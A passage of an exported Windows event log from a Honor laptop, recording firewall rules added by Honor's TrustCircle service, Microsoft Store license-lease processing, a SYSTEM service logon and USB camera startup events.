Files\\HONOR\\TrustCircle\\HnVirtualPeripheral.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.528\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{03AA7394-D320-4E85-B2DC-8744EB6A680B}\n\tRule Name:\tHNVIRTUALPERIPHERAL\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HnVirtualPeripheral.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.684\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{43E68C43-E8D1-4C09-864D-7E0F9CCC962C}\n\tRule Name:\tHNEXSCREEN\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnExScreen.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.687\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{43E68C43-E8D1-4C09-864D-7E0F9CCC962C}\n\tRule Name:\tHNEXSCREEN\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnExScreen.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.690\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{B07A023E-B5BE-4B28-B4B8-8D0C49BC00EA}\n\tRule Name:\tHNEXSCREEN\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnExScreen.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.692\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{B07A023E-B5BE-4B28-B4B8-8D0C49BC00EA}\n\tRule Name:\tHNEXSCREEN\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPublic\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\Honor\\TrustCircle\\HnExScreen.exe\n\tService Name:\t\n\tProtocol:\tUDP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.702\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{0B0162F8-B4FF-4EA4-B34B-3D20774B1359}\n\tRule Name:\tHNEXSCREEN\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HnExScreen.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.705\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{0B0162F8-B4FF-4EA4-B34B-3D20774B1359}\n\tRule Name:\tHNEXSCREEN\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HnExScreen.exe\n\tService Name:\t\n\tProtocol:\tAny\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.801\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\t{844036A5-D395-47A0-BFA8-252D279FD75C}\n\tRule Name:\tHNVCR\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.830\t2099\t\"A rule has been modified in the Windows Defender Firewall exception list.\n\nModified Rule:\n\tRule ID:\t{77457934-994E-4619-8481-5A562AAFB199}\n\tRule Name:\tHNVCR\n\tOrigin:\t0\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HNVCR.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t2\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.833\t2097\t\"A rule has been added to the Windows Defender Firewall exception list.\n\nAdded Rule:\n\tRule ID:\t{77457934-994E-4619-8481-5A562AAFB199}\n\tRule Name:\tHNVCR\n\tOrigin:\tLocal\n\tActive:\tYes\n\tDirection:\tInbound\n\tProfiles:\tPrivate,Domain, Public\n\tAction:\tAllow\n\tApplication Path:\tC:\\Program Files\\HONOR\\TrustCircle\\HNVCR.exe\n\tService Name:\t\n\tProtocol:\tTCP\n\tSecurity Options:\tNone\n\tEdge Traversal:\tNone\n\tModifying User:\tS-1-5-18\n\tModifying Application:\tC:\\Program Files\\Honor\\TrustCircle\\HnTrustCircleService.exe\n\tPolicyAppId:\t\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:31:07.952\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nProcess Information:\n\tProcess ID:\t\t2948\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:31:02.375569800Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\tB27EAB5EBD405C968CD635ABFB18512102735CA868E2034C962198471AE8987F\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7850c5a22ed35c8d4f5f84e1175f284f_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:07.953\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDH_P256\n\tKey Name:\tB27EAB5EBD405C968CD635ABFB18512102735CA868E2034C962198471AE8987F\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:09.776\t8011\t0x21f83178e90: 13668: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.776\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.776\t8012\t0x21f83178e90: 13668: Key:Valid Change: Key:Invalid => EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.776\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.776\t8011\t0x21f8312aa20: 13728: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.777\t8011\t0x21f8312aa20: 13728: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.777\t8012\t0x21f8312aa20: 13728: Lease:Valid Change: Lease:Invalid => {7BA318A1-DC47-F731-723C-537E883DC563}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.777\t8001\t\"Requesting lease document removal for reason 0x00000000, {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.780\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.780\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.781\t8002\t\"Trying to remove timer {7BA318A1-DC47-F731-723C-537E883DC563} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:09.781\t8001\t\"Removed timer for {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.107\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:11.112\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:31:11.329\t8001\t\"Invoking license manager because license/lease polling time up: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8011\t0x21f831d39d0: 13668: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8012\t0x21f831d39d0: 13668: Key:Valid Change: Key:Invalid => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8011\t0x21f8312b620: 13668: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8011\t0x21f8312b620: 13668: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8012\t0x21f8312b620: 13668: Lease:Valid Change: Lease:Invalid => {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.330\t8001\t\"Requesting lease document removal for reason 0x00000000, {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.332\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.332\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.333\t8002\t\"Trying to remove timer {1173A7B1-89F2-09CC-0563-CDED7D7397B9} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.333\t8001\t\"Removed timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:11.920\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:11.920\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:11.920\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:11.935\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:11.944\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:11.945\t1205\tWNP Transport Layer Disconnect call initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:13.020\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:31:13.646\t217\tDestroyed Desktop AppX container {245CDC17-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.DesktopAppInstaller_1.29.290.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:31:29.444\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:29.444\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:29.444\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:29.457\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:29.471\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:29.483\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:29.490\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:29.490\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:31:32.920\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T01:31:32Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:31:38.053\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:38.053\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:31:38.173\t6\tFrameServer FsProxy Initialization Start, SymbolicLink: \\\\?\\usb#vid_5858&pid_1004&mi_00#6&55f168&0&0000#{65e8773d-8f56-11d0-a3b9-00a0c9223196}\\global, Devices: 1, StreamType: MASTER.\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.190\t11\t\"FrameServer WatchdogTimer Start Event, TimerScope: FSSource, TimerScopeId: 0, WatchdogOperation: Initialize, DurationToTriggerInHns: 300000000, \nSymbolicLink: \\\\?\\USB#VID_5858&PID_1004&MI_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\global.\"\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:31:38.190\t200\tStart of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.190\t201\tStop of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.190\t217\tFilterIrp Pending\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.252\t204\tStart of StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:31:38.252\t205\tStop of 